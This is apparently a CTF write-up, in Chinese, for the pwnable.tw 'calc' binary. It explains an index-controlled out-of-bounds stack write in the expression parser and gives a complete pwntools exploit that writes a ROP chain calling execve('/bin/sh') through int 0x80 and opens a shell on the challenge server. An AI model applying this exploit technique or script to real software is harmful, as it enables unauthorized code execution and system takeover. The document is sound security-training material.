Contents
  1. 1. 0x01
    1. 1.1. checksec
    2. 1.2. ida
  2. 2. 0x02 分析
  3. 3. 0x03 exp

这个题目对我来说还是蛮有价值的…

0x01

checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

且为静态编译

ida

calc
get_expr
parse_expt

整个流程也就是:

  1. 对输入进行过滤,最终得到的字符串存入input中
  2. 将input进行解析
    • 先查找运算符
    • 将遇到的数字保存到pool中,pool[0]为当前遍历到的数字数量,通过pool[0]来索引存放位置
    • 判断存入operator中的运算符优先级,在eval()中进行运算操作
  3. 利用运算符和pool中最后两个数字进行运算,将结果保存在pool[-2],同时–pool[0]

0x02 分析

综上,如果第一个字符就是运算符,如+10

①第一次运算 ,此时 pool[0] = 1, pool[1] = 10,按照上面的逻辑,就会运算 1+10 = 11,并将结果11存放在pool[0]中,pool[0]再自减,就是pool[0]=10。输出给用户的就是pool[10]。

如果输入的是+10+1

先同上①,再②第二次运算,此时 pool[0] = 11, 【根据pool[0]得到下一位为】pool[11] = 1,运算结果存放在pool[10] = pool[11] + pool[10] = pool[10] + 1

说明可以得到可控 n 的pool[n]——可以泄露出pool[n],也可以篡改pool[n]处的值。

但是还需要注意一点

返回地址距离*pool为(0x5A0+4)/4 = 0x169 = 361

由于是静态编译,我们考虑在ret后构造ROP:int 80h调用execve(“/bin/sh”),所以我们需要构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
eax = 11
ebx = addr("/bin/sh")
ecx = 0
edx = 0
即:
+-----------------------------+
| addr(pop eax; ret) | --ret--> pool[361]
+-----------------------------+
| 11 | -------> pool[362]
+-----------------------------+
| addr(pop edx; ret) |
+-----------------------------+
| 0 |
+-----------------------------+
| addr(pop ecx; pop ebx; ret) |
+-----------------------------+
| 0 |
+-----------------------------+
| addr("/bin/sh") |——————+
+-----------------------------+ |
| addr(int 80h) | |
+-----------------------------+ |
| "/bin" |<—————+ pool[369]
+-----------------------------+
| "/sh\x00" |
+-----------------------------+

查找可用链

1
2
3
4
5
6
$ ROPgadget --binary ./calc --only  "pop|ret"
0x0805c34b : pop eax ; ret
0x080701aa : pop edx ; ret
0x080701d1 : pop ecx ; pop ebx ; ret
$ ROPgadget --binary ./calc --only "int"
0x08049a21 : int 0x80

得到我们写入栈中的/bin/sh地址还需要知道当前栈基址,pool[361]为ret,pool[360]为old ebp即main的ebp,就可以得到main的基址

1
2
3
4
.text:08049452                 push    ebp
.text:08049453 mov ebp, esp
.text:08049455 and esp, 0FFFFFFF0h 🔺
.text:08049458 sub esp, 10h

oldEbp&0FFFFFFF0h-0x10就是ret地址。

还需要注意一点,我们输入+360后,返回的地址为负数,所以我们计算的时候先转换成正数,再转换回来。


还有一种快捷解法就是利用ropchain,直接布置到栈上就可以

0x03 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!usr/bin/python
from pwn import *
# context.log_level = 'debug'
from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec060) # @ .data
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec064) # @ .data + 4
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec068) # @ .data + 8
p += pack('<I', 0x080550d0) # xor eax, eax ; ret
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d1) # pop ebx ; ret
p += pack('<I', 0x080ec060) # @ .data
p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ec068) # @ .data + 8
p += pack('<I', 0x080ec060) # padding without overwrite ebx
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec068) # @ .data + 8
p += pack('<I', 0x080550d0) # xor eax, eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x08049a21) # int 0x80

binary = "./calc"
ip = "chall.pwnable.tw"
port = 10100
elf = ELF(binary)

def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = elf.libc
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
io = remote(ip, port)
libc = 0
io.recv()
for i in range(len(p)/4):
io.sendline('+' + str(361+i))
recv = int(io.recv())
print "+"+str(361+i)+" = "+hex(recv)
content = u32(p[i*4:i*4+4])
print"content = "+hex(content)
if content < recv:
recv = recv - content
io.sendline('+' + str(361+i) + '-' + str(recv))
else:
recv = content-recv
io.sendline('+' + str(361+i) + '+' + str(recv))
print "final = "+hex(int(io.recv()))



io.interactive()

if __name__ == '__main__':
pwn(ip, port, 0)